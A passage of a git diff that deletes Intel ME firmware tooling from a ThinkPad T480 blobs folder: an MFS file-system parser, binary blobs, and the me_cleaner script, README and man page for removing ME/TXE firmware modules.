self.sys_pages.append(page) - else: - self.data_pages.append(page) - - assert self.num_sys_pages == len(self.sys_pages) - assert self.num_data_pages == len(self.data_pages) - - self.sys_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) - self.data_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) - - self.system_volume = MFSSystemVolume(self.sys_pages, self.data_pages) - - - def getSystemVolume(self): - return self.system_volume - - def generate(self): - for sys_page in self.sys_pages: - sys_page.resetChunks() - for data_page in self.data_pages: - data_page.resetChunks() - - self.system_volume.generate() - system_chunks = self.system_volume.generateChunks() - for i in range(0, len(self.sys_pages)): - chunks = system_chunks[i * MFS.CHUNKS_PER_SYSTEM_PAGE: (i+1) * MFS.CHUNKS_PER_SYSTEM_PAGE] - self.sys_pages[i].setChunks(chunks) - self.sys_pages[i].generate() - - for file in self.system_volume.iterateFiles(): - chunks = file.generateChunks() - for chunk in chunks: - data_page_idx = (chunk.id - self.system_volume.total_chunks) // MFS.CHUNKS_PER_DATA_PAGE - self.data_pages[data_page_idx].addChunk(chunk) - for data_page in self.data_pages: - data_page.generate() - self.data = b"" - for sys_page in self.sys_pages: - self.data += sys_page.data - for data_page in self.data_pages: - self.data += data_page.data - self.data += self.to_be_erased.data - - def __str__(self): - res = f"Pages : {self.num_pages} ({self.num_sys_pages} System && {self.num_data_pages} Data)\nSystem Pages:\n" - for i in range(self.num_sys_pages): - res += f" {i}: {self.sys_pages[i]}\n" - res += "Data Pages:\n" - for i in range(self.num_data_pages): - res += f" {i}: {self.data_pages[i]}\n" - res += f"\nSystem Volume : \n{self.system_volume}" - return res - - @staticmethod - def CrcIdx(w, crc=0x3FFF): - for b in bytearray(struct.pack("> 8)] ^ (crc << 8)) & 0x3FFF - return crc - - @staticmethod - def Crc16(ab, crc=0xFFFF): - for b in bytearray(ab): - crc = (MFS.CRC16Tab[b ^ (crc >> 8)] ^ (crc << 8)) & 0xFFFF - return crc - - @staticmethod - def Crc8(ab): - csum = 1 - for b in bytearray(ab): - b ^= csum - csum = MFS.CRC8TabLo[b & 0xF] ^ MFS.CRC8TabHi[b >> 4] - return csum - -class MFSPage(object): - PAGE_HEADER_FMT = struct.Struct("= self.first_chunk and \ - id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE: - return self.chunks[id - self.first_chunk] - return None - - def resetChunks(self): - if self.isSystemPage(): - self.chunks = [] - else: - self.chunks = [None] * MFS.CHUNKS_PER_DATA_PAGE - - def setChunks(self, chunks): - self.chunks = chunks - - def addChunk(self, chunk): - id = chunk.id - assert self.isDataPage() and \ - id >= self.first_chunk and \ - id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE - self.chunks[id - self.first_chunk] = chunk - - def generate(self): - data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, - self.first_chunk, 0, 0) - crc = MFS.Crc8(data[:-2]) - data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, - self.first_chunk, crc, 0) - if self.isSystemPage(): - assert len(self.chunks) <= MFS.CHUNKS_PER_SYSTEM_PAGE - chunk_ids = [] - last_chunk_id = 0 - for i, chunk in enumerate(self.chunks): - chunk_ids.append(MFS.CrcIdx(last_chunk_id) ^ chunk.id) - last_chunk_id = chunk.id - if len(self.chunks) == MFS.CHUNKS_PER_SYSTEM_PAGE or len(self.chunks) == 0: - chunk_ids.append(0xFFFF) - else: - # Use case of exactly 120 chunks in the last system page... - chunk_ids.append(0x7FFF) - chunk_ids += [0xFFFF] * (MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) - assert len(chunk_ids) == MFS.CHUNKS_PER_SYSTEM_PAGE + 1 - data += self.SYSTEM_PAGE_INDICES_FMT.pack(*chunk_ids) - for chunk in self.chunks: - data += chunk.getRawData() - data += b'\xFF' * ((MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) * \ - (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + 0xC) - else: - assert len(self.chunks) == MFS.CHUNKS_PER_DATA_PAGE - data_free = [] - for i, chunk in enumerate(self.chunks): - if chunk: - assert chunk.id == self.first_chunk + i - data_free.append(0) - else: - data_free.append(0xFF) - data += self.DATA_PAGE_INDICES_FMT.pack(*data_free) - for i, chunk in enumerate(self.chunks): - if chunk: - data += chunk.getRawData() - else: - data += b"\xFF" * (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) - assert len(data) == MFS.PAGE_SIZE - self.data = data - - def __cmp__(self, other): - assert self.signature == other.signature and not self.isToBeErased() - assert self.isSystemPage() == other.isSystemPage() - if self.isSystemPage(): - return cmp(self.USN, other.USN) - else: - return cmp(self.first_chunk, other.first_chunk) - - def __str__(self): - if self.isToBeErased(): - return "ToBeErased" - if self.isSystemPage(): - chunk_ids = set() - for i in range(len(self.chunks)): - chunk_ids.add(str(self.chunks[i].id)) - chunk_ids = list(chunk_ids) - chunk_ids.sort() - res = "System-%d (USN: 0x%X): %s" % (self.page_id, self.USN, ", ".join(chunk_ids)) - else: - res = "Data-%d: %X" % (self.page_id, self.first_chunk) - return res - - def __repr__(self): - return str(self) - -class MFSChunk(object): - def __init__(self, data, chunk_id, raw=True): - self.chunk_id = chunk_id - if raw: - assert len(data) == MFS.CHUNK_SIZE + 2 - self.data = data[:-2] - self.crc, = struct.unpack(" 0: - data_chunk_idx = chain - self.num_files - page_idx = data_chunk_idx // MFS.CHUNKS_PER_DATA_PAGE - chunk = data_pages[page_idx].getChunk(self.total_chunks + data_chunk_idx) - next_chain = self.data_ids[data_chunk_idx] - size = MFS.CHUNK_SIZE if next_chain > MFS.CHUNK_SIZE else next_chain - self.files[id].addChunk(chunk, size) - if next_chain <= MFS.CHUNK_SIZE: - break - chain = next_chain - - @property - def numFiles(self): - return self.num_files - - def getFile(self, id): - if id >= 0 and id <= self.num_files: - return self.files[id] - return None - - def iterateFiles(self): - for id in range(self.num_files): - if self.files[id]: - yield self.files[id] - - def removeFile(self, id): - if id < 0 or id > self.num_files: - return - file = self.files[id] - if file is None: - return - self.files[id] = None - chain = self.file_ids[id] - self.file_ids[id] = 0 - while chain > MFS.CHUNK_SIZE: - next_chain = self.data_ids[chain - self.num_files] - self.data_ids[chain - self.num_files] = 0 - chain = next_chain - - def addFile(self, id, data, optimize=True): - self.removeFile(id) - file = MFSFile(id) - size = len(data) - data_chain = [] - for offset in range(0, size, MFS.CHUNK_SIZE): - if optimize: - chain = self.getNextFreeDataChunk() - else: - chain = self.getLastFreeDataChunk() - if chain == -1: - # If not enough space, free previously set chains - for chain in data_chain: - self.data_ids[chain] = 0 - return False - file.addData(self.total_chunks + chain, data[offset:offset+MFS.CHUNK_SIZE]) - if len(data_chain) > 0: - self.data_ids[data_chain[-1]] = chain + self.num_files - data_chain.append(chain) - self.data_ids[chain] = size - offset - if len(data_chain) > 0: - self.file_ids[id] = data_chain[0] + self.num_files - else: - # Empty file - self.file_ids[id] = 0xFFFF - self.files[id] = file - - def getNextFreeDataChunk(self): - for i, chain in enumerate(self.data_ids): - if chain == 0: - return i - return -1 - - def getLastFreeDataChunk(self): - for i, chain in reversed(list(enumerate(self.data_ids))): - if chain == 0: - return i - return -1 - - def generate(self): - data = self.SYSTEM_VOLUME_HEADER_FMT.pack(self.signature, self.version, self.capacity, self.num_files) + \ - struct.pack("<%dH" % self.num_files, *self.file_ids) + \ - struct.pack("<%dH" % len (self.data_ids), *self.data_ids) - total_data_size = (len(data) + MFS.CHUNK_SIZE - 1) & ~(MFS.CHUNK_SIZE - 1) - self.data = data.ljust(total_data_size, b'\0') - - def generateChunks(self): - self.generate() - empty_data = b'\0' * MFS.CHUNK_SIZE - chunks = [] - for offset in range(0, len(self.data), MFS.CHUNK_SIZE): - data = self.data[offset:offset + MFS.CHUNK_SIZE] - if data == empty_data: - continue - chunk = MFSChunk(data, offset // MFS.CHUNK_SIZE, False) - chunks.append(chunk) - return chunks - - def _listDirRecursive(self, file, integrity, prefix): - for dirent in file.decodeDir(integrity): - # Skip relative references - if dirent.name == "." or dirent.name == "..": - continue - # Absolute path to this file - path = prefix + "/" + dirent.name - file = self.getFile(dirent.id()) - # Yield field itself - yield path, file.decodeData(dirent.integrity()) - # Recursively yield entries if it is a subdirectory - if dirent.directory(): - yield from self._listDirRecursive(file, dirent.integrity(), prefix=path) - - def listDir(self, id, integrity, prefix): - file = self.getFile(id) - # Yield the root itself - yield prefix, file.decodeData(integrity) - # List its subdirectories - yield from self._listDirRecursive(file, integrity, prefix) - - def __str__(self): - res = f"Total of {self.num_files} file entries\n" - for i, f in enumerate(self.files): - if f: - res += f"{i}: {f}\n" - return res - -DIRECTORY_ENTRY_SIZE = 24 -INTEGRITY_BLOB_SIZE = 52 - -class MFSFile(object): - def __init__(self, id): - self.id = id - self.chain = [] - self.data = b"" - - def addChunk(self, chunk, size): - self.chain.append(chunk.id) - self.data = self.data + chunk.data[:size] - - def addData(self, id, data): - self.chain.append(id) - self.data = self.data + data - - def generateChunks(self): - chunks = [] - for i, chain in enumerate(self.chain): - data = self.data[i * MFS.CHUNK_SIZE:(i + 1) * MFS.CHUNK_SIZE] - data = data.ljust(MFS.CHUNK_SIZE, b'\0') - chunk = MFSChunk(data, chain, False) - chunks.append(chunk) - return chunks - - def decodeData(self, integrity): - if integrity: - return self.data[:-INTEGRITY_BLOB_SIZE] - return self.data - - def decodeDir(self, integrity): - data = self.decodeData(integrity) - # Decode directory entries - for i in range(0, len(data), DIRECTORY_ENTRY_SIZE): - yield MFSDirectoryEntry(data[i:i + DIRECTORY_ENTRY_SIZE]) - - def __str__(self): - return f"File {self.id} has {len(self.data)} bytes (Chain: {self.chain})" - -class MFSDirectoryEntry: - FILE = 0 - DIR = 1 - - def __init__(self, data): - self.fileno, self.mode, self.uid, self.gid, self.salt, self.name = \ - struct.unpack("*0*Nz!8Ca^?_b zye_(S*LBewU=qXvYHeWfYvTZEVP{}aPyjLbfS8fNK|_e$;XejoVEX@G*c+q_6Ce~% z*}%ZT#lSLQgS&&up@WLQ8xrIh7(4_R9Dp>-ML`B;E+L?Hc?Rw+20(ia8CZa{F_2~h z(y~CB@vi}c&KyGqpKS&VtUx}(usV z?Hdh&K@$R_{eR+mYoq;t;=*ZE73m=`XbOW-hm3~6Xb6mkz-S1JhQMeD&?N*0y8jOV DMy`QA diff --git a/blobs/t480/ifd_16 b/blobs/t480/ifd_16 deleted file mode 100644 index cdeaee4a484065cb6ab65e22c9d28d63117a1ddc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4096 zcmeH~u}T9$5QhJ~&0!M6oW#Hhf-9KDDk|27z>&sA@EWmD@Bz|TSS6Lcl}})4En14; zWB3S35wST~|G7JYM>J)SxO4n7+|2IG?swH$TeQ>rQB9+SvKMq(dKbm2wI4X!+v=P@ zJU+d?Ne#3$Wx1!W6g=2Iev$3}^vHmTq*>lmde6gvV?fE^@5aPbPBV9RR4inRdQ55$ zxXfELc0dw9nKD$HI-meQ^(*wU^P~ajJST-KmTyN@`cwj6{u-Y-pk=XtRI3o}5b-e47h z&~fGnI0BA= 11) the ME subsystem and the firmware -structure have changed, requiring substantial changes in _me\_cleaner_. -The fundamental modules required for the correct boot are now four (`rbe`, -`kernel`, `syslib` and `bup`) and the minimum code size is ~300 kB of compressed -code (from the 2 MB of the non-AMT firmware and the 7 MB of the AMT one). - -On some boards the OEM firmware fails to boot without a valid Intel ME firmware; -in the other cases the system should work with minor inconveniences (like longer -boot times or warning messages) or without issues at all. - -Obviously, the features provided by Intel ME won't be functional anymore after -the modifications. - -## Documentation - -The detailed documentation about the working of _me\_cleaner_ can be found on -the page ["How does it work?" page]( -https://github.com/corna/me_cleaner/wiki/How-does-it-work%3F). - -Various guides and tutorials are available on the Internet, however a good -starting point is the ["How to apply me_cleaner" guide]( -https://github.com/corna/me_cleaner/wiki/How-to-apply-me_cleaner). diff --git a/blobs/t480/me_cleaner/description.md b/blobs/t480/me_cleaner/description.md deleted file mode 100644 index d5de2d5c5..000000000 --- a/blobs/t480/me_cleaner/description.md +++ /dev/null @@ -1,2 +0,0 @@ -__[me_cleaner](https://github.com/corna/me_cleaner)__ - Tool for -partial deblobbing of Intel ME/TXE firmware images `Python` diff --git a/blobs/t480/me_cleaner/man/me_cleaner.1 b/blobs/t480/me_cleaner/man/me_cleaner.1 deleted file mode 100644 index 8edd22627..000000000 --- a/blobs/t480/me_cleaner/man/me_cleaner.1 +++ /dev/null @@ -1,157 +0,0 @@ -.TH me_cleaner 1 "JUNE 2018" -.SH me_cleaner -.PP -me_cleaner \- Tool for partial deblobbing of Intel ME/TXE firmware images -.SH SYNOPSIS -.PP -\fB\fCme_cleaner.py\fR [\-h] [\-v] [\-O output_file] [\-S | \-s] [\-r] [\-k] -[\-w whitelist | \-b blacklist] [\-d] [\-t] [\-c] [\-D output_descriptor] -[\-M output_me_image] \fIfile\fP -.SH DESCRIPTION -.PP -\fB\fCme_cleaner\fR is a tool able to disable parts of Intel ME/TXE by: -.RS -.IP \(bu 2 -removing most of the code from its firmware -.IP \(bu 2 -setting a special bit to force it to disable itself after the hardware -initialization -.RE -.PP -Using both the modes seems to be the most reliable way on many platforms. -.PP -The resulting modified firmware needs to be flashed (in most of the cases) with -an external programmer, often a dedicated SPI programmer or a Linux board with -a SPI master interface. -.PP -\fB\fCme_cleaner\fR works at least from Nehalem to Coffee Lake (for Intel ME) and on -Braswell/Cherry Trail (for Intel TXE), but may work as well on newer or -different architectures. -.PP -While \fB\fCme_cleaner\fR have been tested on a great number of platforms, fiddling -with the Intel ME/TXE firmware is \fIvery dangerous\fP and can easily lead to a -dead PC. -.PP -\fIYOU HAVE BEEN WARNED.\fP -.SH POSITIONAL ARGUMENTS -.TP -\fB\fCfile\fR -ME/TXE image or full dump. -.SH OPTIONAL ARGUMENTS -.TP -\fB\fC\-h\fR, \fB\fC\-\-help\fR -Show the help message and exit. -.TP -\fB\fC\-v\fR, \fB\fC\-\-version\fR -Show program's version number and exit. -.TP -\fB\fC\-O\fR, \fB\fC\-\-output\fR -Save the modified image in a separate file, instead of modifying the -original file. -.TP -\fB\fC\-S\fR, \fB\fC\-\-soft\-disable\fR -In addition to the usual operations on the ME/TXE firmware, set the -MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after -the hardware initialization (requires a full dump). -.TP -\fB\fC\-s\fR, \fB\fC\-\-soft\-disable\-only\fR -Instead of the usual operations on the ME/TXE firmware, just set the -MeAltDisable bit or the HAP bit to ask Intel ME/TXE to disable itself after -the hardware initialization (requires a full dump). -.TP -\fB\fC\-r\fR, \fB\fC\-\-relocate\fR -Relocate the FTPR partition to the top of the ME region to save even more -space. -.TP -\fB\fC\-t\fR, \fB\fC\-\-truncate\fR -Truncate the empty part of the firmware (requires a separated ME/TXE image or -\fB\fC\-\-extract\-me\fR). -.TP -\fB\fC\-k\fR, \fB\fC\-\-keep\-modules\fR -Don't remove the FTPR modules, even when possible. -.TP -\fB\fC\-w\fR, \fB\fC\-\-whitelist\fR -Comma separated list of additional partitions to keep in the final image. -This can be used to specify the MFS partition for example, which stores PCIe -and clock settings. -.TP -\fB\fC\-b\fR, \fB\fC\-\-blacklist\fR -Comma separated list of partitions to remove from the image. This option -overrides the default removal list. -.TP -\fB\fC\-d\fR, \fB\fC\-\-descriptor\fR -Remove the ME/TXE Read/Write permissions to the other regions on the flash -from the Intel Flash Descriptor (requires a full dump). -.TP -\fB\fC\-D\fR, \fB\fC\-\-extract\-descriptor\fR -Extract the flash descriptor from a full dump; when used with \fB\fC\-\-truncate\fR -save a descriptor with adjusted regions start and end. -.TP -\fB\fC\-M\fR, \fB\fC\-\-extract\-me\fR -Extract the ME firmware from a full dump; when used with \fB\fC\-\-truncate\fR save a -truncated ME/TXE image. -.TP -\fB\fC\-c\fR, \fB\fC\-\-check\fR -Verify the integrity of the fundamental parts of the firmware and exit. -.SH SUPPORTED PLATFORMS -.PP -Currently \fB\fCme_cleaner\fR has been tested on the following platforms: -.TS -allbox; -cb cb cb cb -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -c c c c -. -PCH CPU ME SKU -Ibex Peak Nehalem/Westmere 6.0 Ignition -Ibex Peak Nehalem/Westmere 6.x 1.5/5 MB -Cougar Point Sandy Bridge 7.x 1.5/5 MB -Panther Point Ivy Bridge 8.x 1.5/5 MB -Lynx/Wildcat Point Haswell/Broadwell 9.x 1.5/5 MB -Wildcat Point LP Broadwell Mobile 10.0 1.5/5 MB -Sunrise Point Skylake/Kabylake 11.x CON/COR -Union Point Kabylake 11.x CON/COR -.TE -.TS -allbox; -cb cb cb -c c c -. -SoC TXE SKU -Braswell/Cherry Trail 2.x 1.375 MB -.TE -.PP -All the reports are available on the project's GitHub page \[la]https://github.com/corna/me_cleaner/issues/3\[ra]\&. -.SH EXAMPLES -.PP -Check whether the provided image has a valid structure and signature: -.IP -\fB\fCme_cleaner.py \-c dumped_firmware.bin\fR -.PP -Remove most of the Intel ME firmware modules but don't set the HAP/AltMeDisable -bit: -.IP -\fB\fCme_cleaner.py \-S \-O modified_me_firmware.bin dumped_firmware.bin\fR -.PP -Remove most of the Intel ME firmware modules and set the HAP/AltMeDisable bit, -disable the Read/Write access of Intel ME to the other flash region, then -relocate the code to the top of the image and truncate it, extracting a modified -descriptor and ME image: -.IP -\fB\fCme_cleaner.py \-S \-r \-t \-d \-D ifd_shrinked.bin \-M me_shrinked.bin \-O modified_firmware.bin full_dumped_firmware.bin\fR -.SH BUGS -.PP -Bugs should be reported on the project's GitHub page \[la]https://github.com/corna/me_cleaner\[ra]\&. -.SH AUTHOR -.PP -Nicola Corna \[la]nicola@corna.info\[ra] -.SH SEE ALSO -.PP -.BR flashrom (8), -me_cleaner's Wiki \[la]https://github.com/corna/me_cleaner/wiki\[ra] diff --git a/blobs/t480/me_cleaner/me_cleaner.py b/blobs/t480/me_cleaner/me_cleaner.py deleted file mode 100755 index fae5e5673..000000000 --- a/blobs/t480/me_cleaner/me_cleaner.py +++ /dev/null @@ -1,884 +0,0 @@ -#!/usr/bin/env python -# me_cleaner - Tool for partial deblobbing of Intel ME/TXE firmware images -# SPDX-License-Identifier: GPL-3.0-or-later - -from __future__ import division, print_function - -import argparse -import binascii -import hashlib -import itertools -import shutil -import sys -from struct import pack, unpack - - -min_ftpr_offset = 0x400 -spared_blocks = 4 -unremovable_modules = ("ROMP", "BUP") -unremovable_modules_me11 = ("rbe", "kernel", "syslib", "bup") -unremovable_partitions = ("FTPR",) - -pubkeys_md5 = { - "763e59ebe235e45a197a5b1a378dfa04": ("ME", ("6.x.x.x",)), - "3a98c847d609c253e145bd36512629cb": ("ME", ("6.0.50.x",)), - "0903fc25b0f6bed8c4ed724aca02124c": ("ME", ("7.x.x.x", "8.x.x.x")), - "2011ae6df87c40fba09e3f20459b1ce0": ("ME", ("9.0.x.x", "9.1.x.x")), - "e8427c5691cf8b56bc5cdd82746957ed": ("ME", ("9.5.x.x", "10.x.x.x")), - "986a78e481f185f7d54e4af06eb413f6": ("ME", ("11.x.x.x",)), - "bda0b6bb8ca0bf0cac55ac4c4d55e0f2": ("TXE", ("1.x.x.x",)), - "b726a2ab9cd59d4e62fe2bead7cf6997": ("TXE", ("1.x.x.x",)), - "0633d7f951a3e7968ae7460861be9cfb": ("TXE", ("2.x.x.x",)), - "1d0a36e9f5881540d8e4b382c6612ed8": ("TXE", ("3.x.x.x",)), - "be900fef868f770d266b1fc67e887e69": ("SPS", ("2.x.x.x",)), - "4622e3f2cb212a89c90a4de3336d88d2": ("SPS", ("3.x.x.x",)), - "31ef3d950eac99d18e187375c0764ca4": ("SPS", ("4.x.x.x",)) -} - - -class OutOfRegionException(Exception): - pass - - -class RegionFile: - def __init__(self, f, region_start, region_end): - self.f = f - self.region_start = region_start - self.region_end = region_end - - def read(self, n): - if f.tell() + n <= self.region_end: - return self.f.read(n) - else: - raise OutOfRegionException() - - def readinto(self, b): - if f.tell() + len(b) <= self.region_end: - return self.f.readinto(b) - else: - raise OutOfRegionException() - - def seek(self, offset): - if self.region_start + offset <= self.region_end: - return self.f.seek(self.region_start + offset) - else: - raise OutOfRegionException() - - def write_to(self, offset, data): - if self.region_start + offset + len(data) <= self.region_end: - self.f.seek(self.region_start + offset) - return self.f.write(data) - else: - raise OutOfRegionException() - - def fill_range(self, start, end, fill): - if self.region_start + end <= self.region_end: - if start < end: - block = fill * 4096 - self.f.seek(self.region_start + start) - self.f.writelines(itertools.repeat(block, - (end - start) // 4096)) - self.f.write(block[:(end - start) % 4096]) - else: - raise OutOfRegionException() - - def fill_all(self, fill): - self.fill_range(0, self.region_end - self.region_start, fill) - - def move_range(self, offset_from, size, offset_to, fill): - if self.region_start + offset_from + size <= self.region_end and \ - self.region_start + offset_to + size <= self.region_end: - for i in range(0, size, 4096): - self.f.seek(self.region_start + offset_from + i, 0) - block = self.f.read(min(size - i, 4096)) - self.f.seek(self.region_start + offset_from + i, 0) - self.f.write(fill * len(block)) - self.f.seek(self.region_start + offset_to + i, 0) - self.f.write(block) - else: - raise OutOfRegionException() - - def save(self, filename, size): - if self.region_start + size <= self.region_end: - self.f.seek(self.region_start) - copyf = open(filename, "w+b") - for i in range(0, size, 4096): - copyf.write(self.f.read(min(size - i, 4096))) - return copyf - else: - raise OutOfRegionException() - - -def get_chunks_offsets(llut): - chunk_count = unpack("> 4) & 7 - - print(" {:<16} ({:<7}, ".format(name, comp_str[comp_type]), end="") - - if comp_type == 0x00 or comp_type == 0x02: - print("0x{:06x} - 0x{:06x} ): " - .format(offset, offset + size), end="") - - if name in unremovable_modules: - end_addr = max(end_addr, offset + size) - print("NOT removed, essential") - else: - end = min(offset + size, me_end) - f.fill_range(offset, end, b"\xff") - print("removed") - - elif comp_type == 0x01: - if not chunks_offsets: - f.seek(offset) - llut = f.read(4) - if llut == b"LLUT": - llut += f.read(0x3c) - - chunk_count = unpack(" removable_chunk[0]: - end = min(removable_chunk[1], me_end) - f.fill_range(removable_chunk[0], end, b"\xff") - - end_addr = max(end_addr, - max(unremovable_huff_chunks, key=lambda x: x[1])[1]) - - return end_addr - - -def check_partition_signature(f, offset): - f.seek(offset) - header = f.read(0x80) - modulus = int(binascii.hexlify(f.read(0x100)[::-1]), 16) - public_exponent = unpack("> 4) & 7 == 0x01: - llut_start = unpack("> 25 - - modules.append((name, offset, comp_type)) - - modules.sort(key=lambda x: x[1]) - - for i in range(0, module_count): - name = modules[i][0] - offset = partition_offset + modules[i][1] - end = partition_offset + modules[i + 1][1] - removed = False - - if name.endswith(".man") or name.endswith(".met"): - compression = "uncompressed" - else: - compression = comp_str[modules[i][2]] - - print(" {:<12} ({:<12}, 0x{:06x} - 0x{:06x}): " - .format(name, compression, offset, end), end="") - - if name.endswith(".man"): - print("NOT removed, partition manif.") - elif name.endswith(".met"): - print("NOT removed, module metadata") - elif any(name.startswith(m) for m in unremovable_modules_me11): - print("NOT removed, essential") - else: - removed = True - f.fill_range(offset, min(end, me_end), b"\xff") - print("removed") - - if not removed: - end_data = max(end_data, end) - - if relocate: - new_offset = relocate_partition(f, me_end, 0x30, min_offset, []) - end_data += new_offset - partition_offset - partition_offset = new_offset - - return end_data, partition_offset - - -def check_mn2_tag(f, offset): - f.seek(offset + 0x1c) - tag = f.read(4) - if tag != b"$MN2": - sys.exit("Wrong FTPR manifest tag ({}), this image may be corrupted" - .format(tag)) - - -def flreg_to_start_end(flreg): - return (flreg & 0x7fff) << 12, (flreg >> 4 & 0x7fff000 | 0xfff) + 1 - - -def start_end_to_flreg(start, end): - return (start & 0x7fff000) >> 12 | ((end - 1) & 0x7fff000) << 4 - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(description="Tool to remove as much code " - "as possible from Intel ME/TXE firmware " - "images") - softdis = parser.add_mutually_exclusive_group() - bw_list = parser.add_mutually_exclusive_group() - - parser.add_argument("-v", "--version", action="version", - version="%(prog)s 1.2") - - parser.add_argument("file", help="ME/TXE image or full dump") - parser.add_argument("-O", "--output", metavar='output_file', help="save " - "the modified image in a separate file, instead of " - "modifying the original file") - softdis.add_argument("-S", "--soft-disable", help="in addition to the " - "usual operations on the ME/TXE firmware, set the " - "MeAltDisable bit or the HAP bit to ask Intel ME/TXE " - "to disable itself after the hardware initialization " - "(requires a full dump)", action="store_true") - softdis.add_argument("-s", "--soft-disable-only", help="instead of the " - "usual operations on the ME/TXE firmware, just set " - "the MeAltDisable bit or the HAP bit to ask Intel " - "ME/TXE to disable itself after the hardware " - "initialization (requires a full dump)", - action="store_true") - parser.add_argument("-r", "--relocate", help="relocate the FTPR partition " - "to the top of the ME region to save even more space", - action="store_true") - parser.add_argument("-t", "--truncate", help="truncate the empty part of " - "the firmware (requires a separated ME/TXE image or " - "--extract-me)", action="store_true") - parser.add_argument("-k", "--keep-modules", help="don't remove the FTPR " - "modules, even when possible", action="store_true") - bw_list.add_argument("-w", "--whitelist", metavar="whitelist", - help="Comma separated list of additional partitions " - "to keep in the final image. This can be used to " - "specify the MFS partition for example, which stores " - "PCIe and clock settings.") - bw_list.add_argument("-b", "--blacklist", metavar="blacklist", - help="Comma separated list of partitions to remove " - "from the image. This option overrides the default " - "removal list.") - parser.add_argument("-d", "--descriptor", help="remove the ME/TXE " - "Read/Write permissions to the other regions on the " - "flash from the Intel Flash Descriptor (requires a " - "full dump)", action="store_true") - parser.add_argument("-D", "--extract-descriptor", - metavar='output_descriptor', help="extract the flash " - "descriptor from a full dump; when used with " - "--truncate save a descriptor with adjusted regions " - "start and end") - parser.add_argument("-M", "--extract-me", metavar='output_me_image', - help="extract the ME firmware from a full dump; when " - "used with --truncate save a truncated ME/TXE image") - parser.add_argument("-c", "--check", help="verify the integrity of the " - "fundamental parts of the firmware and exit", - action="store_true") - - args = parser.parse_args() - - if args.check and (args.soft_disable_only or args.soft_disable or - args.relocate or args.descriptor or args.truncate or args.output): - sys.exit("-c can't be used with -S, -s, -r, -d, -t or -O") - - if args.soft_disable_only and (args.relocate or args.truncate): - sys.exit("-s can't be used with -r or -t") - - if (args.whitelist or args.blacklist) and args.relocate: - sys.exit("Relocation is not yet supported with custom whitelist or " - "blacklist") - - f = open(args.file, "rb" if args.check or args.output else "r+b") - f.seek(0x10) - magic = f.read(4) - - if magic == b"$FPT": - print("ME/TXE image detected") - - if args.descriptor or args.extract_descriptor or args.extract_me or \ - args.soft_disable or args.soft_disable_only: - sys.exit("-d, -D, -M, -S and -s require a full dump") - - f.seek(0, 2) - me_start = 0 - me_end = f.tell() - mef = RegionFile(f, me_start, me_end) - - elif magic == b"\x5a\xa5\xf0\x0f": - print("Full image detected") - - if args.truncate and not args.extract_me: - sys.exit("-t requires a separated ME/TXE image (or --extract-me)") - - f.seek(0x14) - flmap0, flmap1 = unpack("> 12 & 0xff0 - fmba = (flmap1 & 0xff) << 4 - fpsba = flmap1 >> 12 & 0xff0 - - f.seek(frba) - flreg = unpack("= me_end: - sys.exit("The ME/TXE region in this image has been disabled") - - mef = RegionFile(f, me_start, me_end) - - mef.seek(0x10) - if mef.read(4) != b"$FPT": - sys.exit("The ME/TXE region is corrupted or missing") - - print("The ME/TXE region goes from {:#x} to {:#x}" - .format(me_start, me_end)) - else: - sys.exit("Unknown image") - - end_addr = me_end - - print("Found FPT header at {:#x}".format(mef.region_start + 0x10)) - - mef.seek(0x14) - entries = unpack("= 0: - check_mn2_tag(mef, ftpr_offset + ftpr_mn2_offset) - print("Found FTPR manifest at {:#x}" - .format(ftpr_offset + ftpr_mn2_offset)) - else: - sys.exit("Can't find the manifest of the FTPR partition") - - else: - check_mn2_tag(mef, ftpr_offset) - me11 = False - ftpr_mn2_offset = 0 - - mef.seek(ftpr_offset + ftpr_mn2_offset + 0x24) - version = unpack("= 6: - variant = "ME" - else: - variant = "TXE" - print("WARNING Unknown public key {}\n" - " Assuming Intel {}\n" - " Please report this warning to the project's maintainer!" - .format(pubkey_md5, variant)) - - if not args.check and args.output: - f.close() - shutil.copy(args.file, args.output) - f = open(args.output, "r+b") - - mef = RegionFile(f, me_start, me_end) - - if me_start > 0: - fdf = RegionFile(f, fd_start, fd_end) - - if me11: - fdf.seek(fpsba) - pchstrp0 = unpack(" me_end: - print(" {:<4} ({:^24}, 0x{:08x} total bytes): nothing to " - "remove" - .format(part_name, "no data here", part_length)) - else: - print(" {:<4} (0x{:08x} - 0x{:09x}, 0x{:08x} total bytes): " - .format(part_name, part_start, part_end, part_length), - end="") - if part_name in whitelist or (blacklist and - part_name not in blacklist): - unremovable_part_fpt += partition - if part_name != "FTPR": - extra_part_end = max(extra_part_end, part_end) - print("NOT removed") - else: - mef.fill_range(part_start, part_end, b"\xff") - print("removed") - - print("Removing partition entries in FPT...") - mef.write_to(0x30, unremovable_part_fpt) - mef.write_to(0x14, - pack("= 11 (except for - # 0x1b, the checksum itself). In other words, the sum of those - # bytes must be always 0x00. - mef.write_to(0x1b, pack("B", checksum)) - - print("Reading FTPR modules list...") - if me11: - end_addr, ftpr_offset = \ - check_and_remove_modules_me11(mef, me_end, - ftpr_offset, ftpr_length, - min_ftpr_offset, - args.relocate, - args.keep_modules) - else: - end_addr, ftpr_offset = \ - check_and_remove_modules(mef, me_end, ftpr_offset, - min_ftpr_offset, args.relocate, - args.keep_modules) - - if end_addr > 0: - end_addr = max(end_addr, extra_part_end) - end_addr = (end_addr // 0x1000 + 1) * 0x1000 - end_addr += spared_blocks * 0x1000 - - print("The ME minimum size should be {0} bytes " - "({0:#x} bytes)".format(end_addr)) - - if me_start > 0: - print("The ME region can be reduced up to:\n" - " {:08x}:{:08x} me" - .format(me_start, me_start + end_addr - 1)) - elif args.truncate: - print("Truncating file at {:#x}...".format(end_addr)) - f.truncate(end_addr) - - if args.soft_disable or args.soft_disable_only: - if 